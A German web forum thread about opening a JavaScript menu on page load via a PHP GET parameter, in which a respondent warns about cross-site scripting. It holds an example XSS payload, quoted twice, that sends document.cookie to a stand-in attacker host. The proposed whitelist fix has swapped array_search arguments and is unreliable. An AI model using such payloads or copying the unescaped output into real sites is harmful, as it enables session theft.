Eine Javafunktion beim aufrufen starten....

BartTheDevil89 · 07.07.2007, 13:46

Hallo,

es geht um folgendes: www.zocko.de/menuetest.php

Das Menü läuft ja richtig, aber ich möchte gern eines der Menüs aufgeklappt haben, wenn ich die Page aufrufe.

Als Test habe ich mir jetzt mal eine Get-Funktion reingemacht, also es wird per get überliefert entweder smenu1,smenu2,smenu3 oder smenu4!

Jetzt möchte ich eben das gewählte Menü beim Aufrufen der Page öffnen. Deswegen hab ich folgendes in den body eingebaut:

<body onload="show(<?php echo "$_GET['menue']"; ?>);">

Aber trotzdem wird das Menü beim aufrufen nicht geöffnet. Ich hab auch schon versucht mit '' in der Klammer, etc. alles versucht.

Habt ihr ne Idee?

Zergling-new · 07.07.2007, 15:05

Hallo,
schön dass du dich dauernd vorneweg fachlich disqualifizierst, wenn du Java mit JavaScript verwechselst. Tu das nicht!

http://de.wikipedia.org/wiki/JavaScript

Zitat:

JavaScript wurde ursprünglich von Sun Microsystems und Netscape in Kooperation entwickelt. Trotz des ähnlichen Namens und einer ähnlichen Syntax ist JavaScript grundlegend verschieden von der Programmiersprache Java, die von Sun Microsystems stammt. Die Namensgleichheit erklärt sich wohl vor allem aus Marketinggründen und den seinerzeits angeblich sehr populären Java-Applets. Die Syntax wurde auch aus diesem Grund weitgehend der von Java angeglichen.

Das ist in etwa wie wenn du Ballack mit Becker verwechselst, fangen ja beide immerhin mit B an und Sport is ja Sport.

Zur Frage:
Du musst zunächst einmal korrekten PHP-Code erzeugen, das tust du schonmal nicht.
echo "$_GET['menue']" wird vermutlich einen Notice werfen (den du nicht siehst, da er im HTML untergeht).
Entweder schreibst du

PHP-Code:

  <?php

echo $_GET['menue'];

// oder

echo "{$_GET['menue']}";

?>

Wozu aber die Anführungszeichen? Nimm Variante 1.

Kommen wir zum nächsten Problem.

PHP-Code:

 
<body onload="show(<?php echo $_GET['menue']; ?>);">

Was käme dabei heraus?

Code:

<body onload="show(smenu1);">

Ist das ein gültiger JavaScript-Code? Nein,

Code:

<body onload="show('<?php echo $_GET['menue'] ?>');">

Nächstes Problem: Was machst du, wenn nichts übergeben wurde? Was machst du, wenn ein Angreifer

Code:

);location.href='http://cookies-klauen.com/?'+document.cookie;//

übergibt (während magic_quotes deaktiviert ist) und den Link irgendwo bei dir auf der Seite postet?
http://de.wikipedia.org/wiki/Cross-Site_Scripting

Du musst also prüfen, was übergeben wurde.

PHP-Code:

  <?php

$menus = array('smenu1', 'smenu2', 'smenu3', 'smenu4');

$index = (int)array_search($menus, @$_GET['menue']); // absichtliches umwandeln von FALSE in 0 zwecks default

echo $menus[$index];

?>

BartTheDevil89 · 09.07.2007, 14:06

Zitat:

Zitat von Zergling

Zur Frage:
Du musst zunächst einmal korrekten PHP-Code erzeugen, das tust du schonmal nicht.
echo "$_GET['menue']" wird vermutlich einen Notice werfen (den du nicht siehst, da er im HTML untergeht).
Entweder schreibst du

PHP-Code:

  <?php

echo $_GET['menue'];

// oder

echo "{$_GET['menue']}";

?>

Wozu aber die Anführungszeichen? Nimm Variante 1.

Kommen wir zum nächsten Problem.

PHP-Code:

 
<body onload="show(<?php echo $_GET['menue']; ?>);">

Was käme dabei heraus?

Code:

<body onload="show(smenu1);">

Ist das ein gültiger JavaScript-Code? Nein,

Code:

<body onload="show('<?php echo $_GET['menue'] ?>');">

Nächstes Problem: Was machst du, wenn nichts übergeben wurde? Was machst du, wenn ein Angreifer

Code:

);location.href='http://cookies-klauen.com/?'+document.cookie;//

übergibt (während magic_quotes deaktiviert ist) und den Link irgendwo bei dir auf der Seite postet?
http://de.wikipedia.org/wiki/Cross-Site_Scripting

Du musst also prüfen, was übergeben wurde.

PHP-Code:

  <?php

$menus = array('smenu1', 'smenu2', 'smenu3', 'smenu4');

$index = (int)array_search($menus, @$_GET['menue']); // absichtliches umwandeln von FALSE in 0 zwecks default

echo $menus[$index];

?>

Hi,

also folgendes: Das mit dem Get ist jetzt erstmal nur für Testzwecke....später wird das ne Variable sein, die von meinem System übergeben wird und deswegen sind auch keine großen überprüfungen nötig.
Ich hab deine Variante im body mal probiert und das kommt bei raus:

http://www.zocko.de/menuetest.php?menue=smenu1

Nicht, ist genauso wie vorher.

Zergling-new · 09.07.2007, 16:00

Sehe auf Anhieb keinen Fehler, einfach hinter jede Zeile ein alert(variable_die_mich_interessiert) setzen und schauen was drinsteht, denn offenbar stimmen deine Bedingungen nicht.
Welche kann ich nicht erkennen.

Themen-Optionen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen
Thema bewerten
Thema bewerten:

Ähnliche Themen
Thema	Autor	Forum	Antworten	Letzter Beitrag
Wie mit PHP ein CGI-Script aufrufen ?	Fullmedia	PHP Tipps 2008	1	28.05.2008 06:29
Apache läst sich nicht starten	pit62	Server, Hosting und Workstations	4	10.09.2007 16:30
xampp als normaler user unter linux starten	nieselfriem	Server, Hosting und Workstations	1	22.04.2006 12:31
anderes PHP-Script aufrufen	Smily0412	PHP Tipps 2005-2	14	27.10.2005 14:28
per Javascript exe auf Client starten		HTML, Usability und Barrierefreiheit	16	05.09.2005 14:04
Datei aufrufen		PHP Tipps 2005-2	7	09.08.2005 18:29
MySQL 4.1 unter Linux starten	freq.9	Datenbanken	4	08.05.2005 23:06
Funktion aufrufen im selben Script aufrufen		PHP Tipps 2005	5	23.02.2005 21:21
PHP-Script automatisiert jede Nacht starten, aber wie?		PHP Tipps 2005	10	17.02.2005 17:51
[Erledigt] wie soll ich apache starten?		Server, Hosting und Workstations	5	20.01.2005 14:49
postgres starten	Crypi	Datenbanken	2	05.01.2005 18:15
Aus PHP ein anderes PHP-Proggi aufrufen		PHP Tipps 2004-2	2	22.11.2004 18:04
[BlödeFrage:] aufrufen von html/php seiten mittels php		PHP Tipps 2004	9	16.08.2004 15:58
Sessions starten/ Einstellungen in der PHP.INI		PHP Tipps 2004	3	04.08.2004 15:28
Sessionvariable auf andere Seite aufrufen		PHP Tipps 2004	2	18.06.2004 21:33

07.07.2007, 13:46
BartTheDevil89 Erfahrener Benutzer Registriert seit: 09.05.2005 Beiträge: 561	Eine Javafunktion beim aufrufen starten.... Hallo, es geht um folgendes: www.zocko.de/menuetest.php Das Menü läuft ja richtig, aber ich möchte gern eines der Menüs aufgeklappt haben, wenn ich die Page aufrufe. Als Test habe ich mir jetzt mal eine Get-Funktion reingemacht, also es wird per get überliefert entweder smenu1,smenu2,smenu3 oder smenu4! Jetzt möchte ich eben das gewählte Menü beim Aufrufen der Page öffnen. Deswegen hab ich folgendes in den body eingebaut: <body onload="show(<?php echo "$_GET['menue']"; ?>);"> Aber trotzdem wird das Menü beim aufrufen nicht geöffnet. Ich hab auch schon versucht mit '' in der Klammer, etc. alles versucht. Habt ihr ne Idee?


Mister Ad PHP Code Flüsterer Registriert seit: 21.08.2005 Beiträge: 4682 PHP-Kenntnisse: Fortgeschritten

09.07.2007, 16:00
Zergling-new Erfahrener Benutzer Registriert seit: 21.05.2008 Beiträge: 9.937	Sehe auf Anhieb keinen Fehler, einfach hinter jede Zeile ein alert(variable_die_mich_interessiert) setzen und schauen was drinsteht, denn offenbar stimmen deine Bedingungen nicht. Welche kann ich nicht erkennen.